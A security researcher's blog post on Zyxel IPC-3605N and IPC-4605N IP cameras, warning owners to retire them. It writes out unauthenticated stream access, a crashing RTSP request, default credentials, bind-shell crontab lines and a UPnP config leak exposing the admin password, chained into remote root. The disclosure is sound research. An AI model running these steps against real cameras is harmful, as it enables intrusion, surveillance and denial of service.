Hacking Zyxel IP cameras to gain a root shell

I bought these cameras primarily to use as a test device for work. I needed something that had an ethernet interface and worked as an IP based device. I found them on eBay for around $20 each. I bought two cameras, the model IPC-3605N and the model IPC-4605N. The devices run basically the same hardware it seems, with the IPC-4605N having pan, tilt, & zoom capability.

I generally enjoy figuring out if embedded devices are well built or simply cobbled together, so I spent some time looking at these devices.

TLDR - Do not buy, do not use, and remove all of these devices from service immediately. They are so miserably insecure it took me less than a day of effort to develop a utility to remotely compromise any of them. Keep reading if you want to know how.

Looking at the hardware

I tested two models of camera as part of this.

Visually these are different, but the hardware & software appears to be the same.

I opened up the IPC-4605N model. You just need to take the screws off the bottom. It has a few circuit boards inside. I'm not going to go into detail here because nothing really stands out other than the UART connector. I didn't have the little miniature 3 pin connector to attach to the header unfortunately.

Getting each camera setup

The initial setup for the cameras is pretty simple. The USB port can be used to install an included WiFi adapter from Zyxel, but I did not use this. I just plugged in ethernet and power. By default the device will get an IP address via DHCP.

If the device doesn't get an address automatically from your DHCP server you can reset it by holding down the reset button for approximately 20 seconds. The LED on the front of the device goes out at this time and you release the button. The device resets to its factory defaults. The manual says the default password is admin:admin but it is actually admin:1234

The device uses basic HTTP authentication so your browser prompts you for the password when you navigate to the web server running on the device.

The web interface

This page is dependent on either ActiveX or Java plugins to work. Neither of which are supported any longer

The web interface is fairly awful and dependent on either ActiveX or Java. Neither of which is supported by any modern browsers.

If you click on "Setup" you are taken to this page

This is where you can adjust all kinds of settings on the device. We'll come back to this later

Network connectivity & the video interface

Since the default web interface doesn't work anymore, I was curious to see if I could get a video feed out of these devices at all without trying to run ancient browser plugin based stuff. So I ran nmap to scan the device

$ nmap -A
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-12 17:13 UTC
Nmap scan report for
Host is up (0.017s latency).
Not shown: 994 closed ports
80/tcp    open  http    mini_httpd 1.19 19dec2003
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=IPC-3605N
|_http-server-header: mini_httpd/1.19 19dec2003
|_http-title: 401 Unauthorized
443/tcp   open  https?
554/tcp   open  rtsp    D-Link DCS-2130 or Pelco IDE10DN webcam rtspd
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
843/tcp   open  unknown
8008/tcp  open  rtsp    D-Link DCS-2130 or Pelco IDE10DN webcam rtspd
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
49152/tcp open  upnp    Portable SDK for UPnP devices 1.4.1 (Linux 2.6.28; UPnP 1.0)
Service Info: OS: Linux; Device: webcam; CPE: cpe:/h:pelco:ide10dn, cpe:/o:linux:linux_kernel:2.6.28

So this tells us there is the HTTP server, an HTTPS server, and RTSP and a bunch of other stuff. I know RTSP is some sort of video streaming standard so I decided to poke around at that first.


My first guess was to just have VLC connect to the RTSP server. So I tried telling VLC to connect to a network stream with a path of rtsp:// to no avail. This didn't work and I couldn't get any useful debugging info from VLC.

I read through the Wikipedia page on RTSP and came to the conclusion it's almost HTTP based. There doesn't appear to be a curl equivalent for RTSP so I just used echo and netcat to send a basic request

$ echo -e 'DESCRIBE rtsp:// RTSP/1.0\r\nCSeq: 2\r\n\r\n'  | nc 554
RTSP/1.0 404 Stream Not Found
CSeq: 2
Date: Wed, Aug 17 2022 03:53:46 GMT

This doesn't tell me anything useful other than the remote server is definitely an RTSP server. At this point I was feeling fairly stumped, so I went back to the web interface and looked at the HTML & Javascript it was trying to use to serve me the non-functional browser plugin. I found this Javascript

myvlc.addParam("MRL", "rtsp://" + location.hostname + ":554/medias1");          //for <objec>
myvlc.addParam("target", "rtsp://" + location.hostname + ":554/medias1");       //for <embed>

It apparently is trying to build an RTSP url ending in /medias1. So I updated the request I was sending

$ echo -e 'DESCRIBE rtsp:// RTSP/1.0\r\nCSeq: 2\r\n\r\n'  | nc 554
RTSP/1.0 200 OK
CSeq: 2
Date: Wed, Aug 17 2022 03:57:11 GMT
Content-Base: rtsp://
Content-Type: application/sdp
Content-Length: 618

o=- 1660708628741636 1 IN IP4
s=H.264 Video, streamed by the MediaStreaming Server
t=0 0
a=tool:LIVE555 Streaming Media v2011.03.14
a=x-qt-text-nam:H.264 Video, streamed by the MediaStreaming Server
m=video 0 RTP/AVP 96
c=IN IP4
a=rtpmap:96 H264/90000
a=fmtp:96 packetization-mode=1;profile-level-id=42A01E;sprop-parameter-sets=Z0IAKOkAoAQNcSAA27oAM3+YA2IEJQ==,aM4xUg==
m=audio 0 RTP/AVP 0
c=IN IP4
a=rtpmap:0 PCMU/8000

Excellent! This dumped me back a bunch of useful information, including letting me know that the server running is LIVE555.

Vulnerability 1 - Acessing the video stream without any authentication

I figured out you can connect to the video stream with mplayer. Apparently RTSP is one of those standards that everyone implements in their own unique way. The mplayer project manual pages explicitly indicate compatabilty with LIVE555 based servers.

You can access the video feed by running mplayer -rtsp-stream-over-tcp rtsp://

I should probably tidy up my living room

So you can access the video feed without any authentication.

Vulnerability 2 - Remote denial of service against the RTSP server

Since /medias1 was a video feed I of course checking if /medias2 was a valid video feed as well.

 echo -e 'DESCRIBE rstp:// RTSP/1.0\r\nCSeq: 2\r\n\r\n'  | nc 554

There is no response from the evice. The test device was the IPC-3605N here. The device stops responding to RTSP requests for a while when this happens. Presumably a watchdog of some kind restarts the RTSP server after it crashes. This happens with no authentication so simply periodically sending this RTSP request allows an attack to completely shutdown a surveillance camera.

When the same request is sent to the IPC-4605N, it just responds with a not found response.

$ echo -e 'DESCRIBE rstp:// RTSP/1.0\r\nCSeq: 2\r\n\r\n'  | nc 554
RTSP/1.0 404 Stream Not Found
CSeq: 2
Date: Wed, Aug 17 2022 04:10:03 GMT

I could not reproduce this with the IPC-4605N.

Searching for a way in

At this point I began searching for a way to gain a shell on the device. What I initially wanted to do was to get a firmware upgrade & modify that to include a remote shell. After searching Zyxel's website it has become apparent that these devices are no longer supported. I did find a history of them in the wayback machine, but there is no way to actually download the firmware files

I found this on archive.org but could not actually download the firmware

Since this route was simply not available I tried other options. I search for critical vulnerabilities against the LIVE555 RTSP server or the mini-httpd server. There are many, but none that claim to grant escalation to a shell.

In the maintenance page there is a system log you can view. If you check right after startup you find lines like this

Jan  1 00:01:11 localhost sessiond: sessiond version 0.7 started
Jan  1 00:01:11 localhost mini_httpd[1059]: socket :: - Address family not supported by protocol
Jan  1 00:01:12 localhost mini_httpd[1069]: started as root without requesting chroot(), warning only
Jan  1 00:01:12 localhost mini_httpd[1069]: mini_httpd/1.19 19dec2003 starting on localhost.localdomain, port 80
Jan  1 00:01:15 localhost init: starting pid 1161, tty '': '/bin/sh < /dev/ttyS0 2>&1 > /dev/ttyS0'
Jan  1 00:01:15 localhost crond[1173]: crond (busybox 1.13.4) started, log level 8

The line about /dev/ttyS0 certainly indicates that a shell is runing attached to the UART pins we saw on the circuit board. I still had no convenient way to connect to those, so I didn't go that route.

After a while I found a page that allows you to do "Profile Management". I asked it to export the profile and my browser download "profile.bin"

I rolled up my sleeves, fully prepared to tackle someone's entirely proprietary format for profile data. It took about 30 seconds to identify that this was in fact a gzip compressed tarball. I extracted this and found it contains a file mnt/mtd/crontab. The contents of which are

0   10  *   *   1   updatetime.sh msntp -o -8 -r -P no

This is obviously a crontab, designed to run something related to NTP each Monday around 10 AM. So I reasoned I could just insert a line to start a shell using netcat every minute. I added a line like this to the crontab.

*   *   *   *   *   /bin/nc -l -p 5555 -e /bin/sh

I reuploaded the compressed tarball and the device rebooted. I tried in vain to connect to the shell, but nothing worked. I tried many different iterations of /bin/nc based off the different possible parameters. An embedded device is almost always using the BusyBox derivative of netcat, but I couldn't be sure.

After a while this yielded nothing at all. So I just added a line like this

*   *   *   *   *   /bin/ping -c 1

This worked perfectly fine. So my concept of adding scripts to the crontab is sound. The device pinged the IP once a minute and I could capture the traffic using tcpdump on my local network. This lead me to the conclusion that BusyBox was probably compiled without netcat support for the device.

So what now? Well I decided I needed to know exactly was on the device filesystem. I reasoned that the "Export Profile" functionality worked by just tarring up /mnt/mtd and allowing me to download it. So I added this line

*   *   *   *   *   /bin/ls -lR / > /mnt/mtd/ls.log

This was extremely risky as I don't actually know how much data this would produce, how big the filesystem at /mnt/mtd is or what would happen if the device ran out of space on the filesystem. I uploaded the new profile, then waited about a minute and exported it again. It was much larger and I found ls.log inside it!

This file is obviously huge, but it confirmed what I thought: there was no netcat. Of course in an ironic twist I found out that /usr/sbin/telnetd was present. I had been fumbling around trying to use netcat to get a remote shell, when a full blown telnet daemon was already available. So I just added to the crontab

*   *   *   *   *   /usr/sbin/telnetd -F -l /bin/sh -p 15555

Then reuploaded it again. About a minute later I was able to run

$ telnet 15555
Connected to
Escape character is '^]'.

/var/spool/cron # whoami

So at this point I had a root shell. This doesn't really count as remotely compromising the device as I still would need the admin username and password for the web interface.

Hardware & software details

The actual OS is a Linux 2.6.28 kernel. The processor is a FA626TE rev 1 (v5l) which is an ARMv5 CPU. It has 128 megabytes of RAM.

The software on the device is a mixup of pretty much everything. The main web server is mini-httpd running CGI scripts based primarily off haserl. I've literally never heard of this before.

I tried to limit the amount of time I spent looking at the various web scripts. They are numerous, but it did not take long to spot obvious race conditions and other shortcomings in them.

filesystem & block devices

The actual root file system is not persistent. It gets restored on each boot, probably from a compressed image in flash. The filesystem mounted at /mnt/mtd is the "profile" which you can export & import from the web administration interface.

The IPC 4605N seems to have at least 8 block devices on board

# ls -l /dev/mtdblock*
brw-rw----    1 root     root      31,   0 Jan  1  1970 /dev/mtdblock0
brw-rw----    1 root     root      31,   1 Jan  1  1970 /dev/mtdblock1
brw-rw----    1 root     root      31,   2 Jan  1  1970 /dev/mtdblock2
brw-rw----    1 root     root      31,   3 Jan  1  1970 /dev/mtdblock3
brw-rw----    1 root     root      31,   4 Jan  1  1970 /dev/mtdblock4
brw-rw----    1 root     root      31,   5 Jan  1  1970 /dev/mtdblock5
brw-rw----    1 root     root      31,   6 Jan  1  1970 /dev/mtdblock6
brw-rw----    1 root     root      31,   7 Jan  1  1970 /dev/mtdblock7

I had to combine dd, uuencode, and telnet on the device to download these to my desktop PC. I managed to identify some of them

  • mtdblock0 - unknown for sure, but probably a compressed kernel image
  • mtdblock1 - used to store the profile data and mounted at /mnt/mtd0
  • mtdblock2 - unknown
  • mtdblock3 - unknown
  • mtdblock4 - unknown
  • mtdblock5 - the boot configuration for uboot
  • mtdblock6 - probably unused
  • mtdblock7 - probably unused

If you dump mtdblock5 the start of it looks like this

00000000  e2 06 e4 23 62 6f 6f 74  61 72 67 73 3d 00 62 6f  |...#bootargs=.bo|
00000010  6f 74 63 6d 64 3d 73 66  20 70 72 6f 62 65 20 30  |otcmd=sf probe 0|
00000020  3a 30 3b 73 66 20 72 65  61 64 20 30 78 34 30 30  |:0;sf read 0x400|
00000030  30 30 30 30 20 30 78 64  36 31 30 30 20 30 78 38  |0000 0xd6100 0x8|
00000040  30 30 30 30 30 3b 67 6f  20 30 78 34 30 30 30 30  |00000;go 0x40000|
00000050  30 30 00 62 6f 6f 74 64  65 6c 61 79 3d 33 00 62  |00.bootdelay=3.b|
00000060  61 75 64 72 61 74 65 3d  33 38 34 30 30 00 69 70  |audrate=38400.ip|
00000070  61 64 64 72 3d 31 30 2e  30 2e 31 2e 35 32 00 73  |addr=|
00000080  65 72 76 65 72 69 70 3d  31 30 2e 30 2e 31 2e 35  |erverip=|
00000090  31 00 67 61 74 65 77 61  79 69 70 3d 31 30 2e 30  |1.gatewayip=10.0|
000000a0  2e 31 2e 35 31 00 6e 65  74 6d 61 73 6b 3d 32 35  |.1.51.netmask=25|
000000b0  35 2e 30 2e 30 2e 30 00  65 74 68 61 63 74 3d 46  ||
000000c0  54 4d 41 43 31 31 30 23  30 00 76 65 72 3d 55 2d  |TMAC110#0.ver=U-|
000000d0  42 6f 6f 74 20 32 30 30  38 2e 31 30 20 28 4a 75  |Boot 2008.10 (Ju|
000000e0  6e 20 32 37 20 32 30 31  31 20 2d 20 30 39 3a 34  |n 27 2011 - 09:4|
000000f0  36 3a 34 33 29 00 65 74  68 61 64 64 72 3d 30 30  |6:43).ethaddr=00|
00000100  3a 31 38 3a 46 42 3a 34  31 3a 30 37 3a 43 46 00  |:18:FB:41:07:CF.|

So this is definitely how uboot decides what kernel to load and boot.

I could not determine the purpose of mtdblock4 but found a script /bin/check_mtd2.sh that references it. It contains these lines

mkdir /mnt/mtd2
mount -t jffs2 /dev/mtdblock4 /mnt/mtd2

Trying to mount this myself was not successful

 mount -t jffs2 /dev/mtdblock4 /mnt/mtd2

mount: mounting /dev/mtdblock4 on /mnt/mtd2 failed: Input/output error

The block devices mtdblock6 and mtdblock7 both are 8 megabytes in size and contain nothing but the byte 0xff. The only reference I found to them is in the CGI script at /web/html/hw_test/ss.cgi which contains these lines

    #Set 2nd flash
    rm -f /web/html/mtd2
    mkdir -p /mnt/mtd2
    if [ "`df |grep mtd2`" = "" ]; then
        mount -t jffs2 /dev/mtdblock6 /mnt/mtd2

This apparently tries to mount a filesystem (which does not seem to exist) on the fly as part of the web request. This is all kinds of a bad idea and left me really scratching my head. But I think it would be safe to repurpose these last two block devices if you need more storage.

init system

The device uses BusyBox as the init system. I looked in /etc/inittab to find the scripts it ran. Those scripts are huge, but I found these

At the end of /etc/init.d/rc.sysinit, I found this

echo "ready to run post debug"
if [ -e /mnt/mtd/postDebug.sh ]; then
        chmod +x /mnt/mtd/postDebug.sh

So if you modify the profile tarball with mnt/mtd/postDebug.sh that script gets run on startup.

Also in /etc/init.d/test.sh has the following contents

if [ -e /mnt/mtd/auto_script.sh ]; then
sh /mnt/mtd/auto_script.sh

So adding mnt/mtd/auto_script.sh in the profile tarball should also result in that getting executed on startup.

Vulnerability 3 - UPnP support exposes configuration

I was fairly curious as to why there was a webserver on port 49152. I also noticed the device sent this message pretty often as captured by tcpdump

16:40:46.691823 IP > UDP, length 363
........'.l.sMmNOTIFY * HTTP/1.1
CACHE-CONTROL: max-age=100
NT: urn:schemas-upnp-org:service:BasicService:1
NTS: ssdp:alive
SERVER: Linux/2.6.28, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
X-User-Agent: redsonic
USN: uuid:IPC-3605N_0018FB4002C3::urn:schemas-upnp-org:service:BasicService:1

This is a Simple Service Discovery Protocol message, advertising a URL for the webserver on port 49152. Accessing the URL returns this

$ curl
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<friendlyName>ZyXEL IPC-3605N - 0018FB4002C3</friendlyName>
<modelDescription>ZyXEL IPC-3605N Indoor Network Camera</modelDescription>
<modelName>ZyXEL IPC-3605N</modelName>

Note - this service appears to be on port 49152 sometimes and sometimes on 49153. I'm not sure why it changes. Just capture the SSDP traffic broadcast from the device on UDP port 1900 to figure it out.

This is completely boring and not interesting in any way. But I also have a root shell, so I can check what process is serving this. It turns out to be run as upnp --ipaddr --webdir /etc/config --desc libupnp.xml. Looking in /etc/config shows plenty of files

ls -l /etc/config
-rw-r--r--    1 root     root           31 Jan  1  1970 acc
-rw-r--r--    1 root     root          147 Jun 13  2012 activex.xml
-rw-r--r--    1 root     root         4333 Jun 13  2012 camera_setting.xml
-rw-r--r--    1 root     root           37 Jan  1  1970 cron.xml
-rw-r--r--    1 root     root          152 Aug 15 13:55 crontab
-rw-r--r--    1 root     root          186 Jan  1  1970 ddns.xml
-rw-r--r--    1 root     root           52 Jan  1  1970 debug.cfg
-rw-r--r--    1 root     root           37 Jan  1  1970 eServer.xml
-rw-r--r--    1 root     root           46 Jan  1  1970 etmp
-rw-r--r--    1 root     root            0 Jan  1  1970 eventlist
-rw-r--r--    1 root     root          177 Jan  1  1970 ftp.xml
-rw-r--r--    1 root     root           79 Jan  1  1970 http.xml
-rw-r--r--    1 root     root          142 Jan  1  1970 image.xml
-rw-r--r--    1 root     root          590 Jan  1  1970 ip.xml
-rw-r--r--    1 root     root         1036 Aug 17 04:44 libupnp.xml
-rw-r--r--    1 root     root          549 Jan  1  1970 loitering.xml
-rw-r--r--    1 root     root          954 Aug 17 04:02 md.xml
-rw-r--r--    1 root     root         3176 Jan  1  1970 md_sen_table.xml
-rw-r--r--    1 root     root           62 Jun 13  2012 model.xml
-rw-r--r--    1 root     root           97 Jun 13  2012 modelname.xml
-rw-r--r--    1 root     root          660 Jan  1  1970 netadv.xml
-rw-r--r--    1 root     root          107 Jan  1  1970 notify.xml
drwxr-xr-x    2 root     root            0 Jan  1  1970 onvif
-rw-r--r--    1 root     root         2157 Aug 15 16:20 param.xml
-rw-r--r--    1 root     root         1261 Jan  1  1970 patrol.xml
-rw-r--r--    1 root     root         2845 Jan  1  1970 presetpoint.xml
-rw-r--r--    1 root     root          963 Jan  1  1970 ptz.xml
lrwxrwxrwx    1 root     root           33 Aug 15 13:55 recording_server.xml -> /etc/config/recording_server1.xml
-rw-r--r--    1 root     root          823 Aug 15 13:55 recording_server1.xml
-rw-r--r--    1 root     root          293 Jan  1  1970 rtp.xml
-rw-r--r--    1 root     root          561 Jan  1  1970 sd_config.xml
-rw-r--r--    1 root     root          311 Jan  1  1970 sms.xml
-rw-r--r--    1 root     root          292 Jan  1  1970 smtp.xml
-rw-r--r--    1 root     root          154 Jan  1  1970 socks.xml
-rw-r--r--    1 root     root          109 Jan  1  1970 tampering.xml
-rw-r--r--    1 root     root           91 Jan  1  1970 timer.xml
-rw-r--r--    1 root     root         5830 Jun 13  2012 timezone.cfg
-rw-r--r--    1 root     root           62 Aug 17 03:46 upgrade_flag.xml
-rw-r--r--    1 root     root          149 Jan  1  1970 upnp.xml

Surely the web server wouldn't just serve me any of those files if I ask for them right?

$ curl
<?xml version="1.0"?>

As it would turn out the upnp server serves the entire contents of /etc/config to anyone requesting it. In this case the file sms.xml contains the data you can configure from the web administration interface. So anything you configure on the administration interface is available for the entire world to download.

If you ever forget your admin username & password, you can always download it using this request

$ curl

running my own code

I did not really feel this would be complete without running some of my own code, so I wrote a little C program.

#include <stdio.h>

int main(int argc, char *argv[]) {
    fwrite("hello camera\n", 1, 13, stdout);
        return 0;

To compile this I needed a cross compiler. I'm using Ubuntu 18.04 as my desktop so I installed the package gcc-7-arm-linux-gnueabi. Then I am able to run arm-linux-gnueabi-gcc-7 -march=armv5 -s -o ./hello_camera ./hello_camera.c. This creates an ELF executable that runs on ARM v5 linux hosts. I needed to get the program over to camera somehow, since wget was present I was able to start an HTTP server on my desktop temporarily by running python3 -m http.server 8888.

On the camera via telnet I ran

 # wget && chmod a+x ./hello_camera && ./hello_camera
Connecting to (
hello_camera         100% |***************************************************************************************************************|  5552  --:--:-- ETA
hello camera

So my program runs. I did not proceed any farther than this yet, but it would be neat to actually have this machine as a host with a proper SSH server.

A one-shot vulnerability proof of concept

Since I have multiple vulnerabilities identified now, I wanted to assemble together a one-shot process for remotely compromising these cameras.

The process should work as follows

  1. Ask the UPnP server for the web UI username & password
  2. Download the export of the profile.bin
  3. Modify the profile.bin to include files to start up a telnet server by setting mnt/mtd/postDebug.sh
  4. Upload the modified profile.bin to the target device
  5. Reboot the device remotely
  6. Access the root shell now available on the device

This turned out to be far larger than I originally anticipated, but it is possible. There are all sorts of quirks, including the fact that the remote http server only executes the associated shell scripts as you read the body from the TCP connection. So if you don't read the body on something like the reboot request, it won't actually reboot.

I created a complete Python script to do all of this it is available on Github. I did not test this "in the wild", but I did get another device off eBay that had it's password set by the user that sent it to me. I was able to run my script and telnet in after just a few minutes.


Don't use these devices, even for something that does not matter. If an attacker gets access to your network they could compromise one of these devices very quickly. Even if the video feed was not actually sensitive, this device could be used to launch attacks against other parts of your network.

Copyright Eric Urban 2022, or the respective entity where indicated